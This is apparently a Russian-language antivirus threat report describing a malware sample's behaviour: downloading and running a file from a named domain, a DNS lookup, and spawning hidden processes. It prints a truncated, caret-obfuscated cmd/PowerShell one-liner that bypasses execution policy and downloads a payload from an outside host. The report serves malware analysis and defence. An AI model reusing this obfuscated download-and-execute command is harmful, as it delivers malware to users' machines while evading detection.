Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://bestflowstou.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^OW^E^r^s^H^ell.E^XE^ -E^Xe^CuTIO^n^pOL^IcY ^By^pAS^s -no^Pr^O^FilE -W^in^doWs^T^yL^E^ ^Hi^DdE^n^ (N^e^W-^Obj^eCt syst^Em.NeT.wEBcl^Ien^T).d^oWn^L^OaDFilE('http://bestflo...
Сетевая активность
UDP
- DNS ASK be####owstou.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^OW^E^r^s^H^ell.E^XE^ -E^Xe^CuTIO^n^pOL^IcY ^By^pAS^s -no^Pr^O^FilE -W^in^doWs^T^yL^E^ ^Hi^DdE^n^ (N^e^W-^Obj^eCt syst^Em.NeT.wEBcl^Ien^T).d^oWn^L^OaDFilE('http://bestflo...' (со скрытым окном)
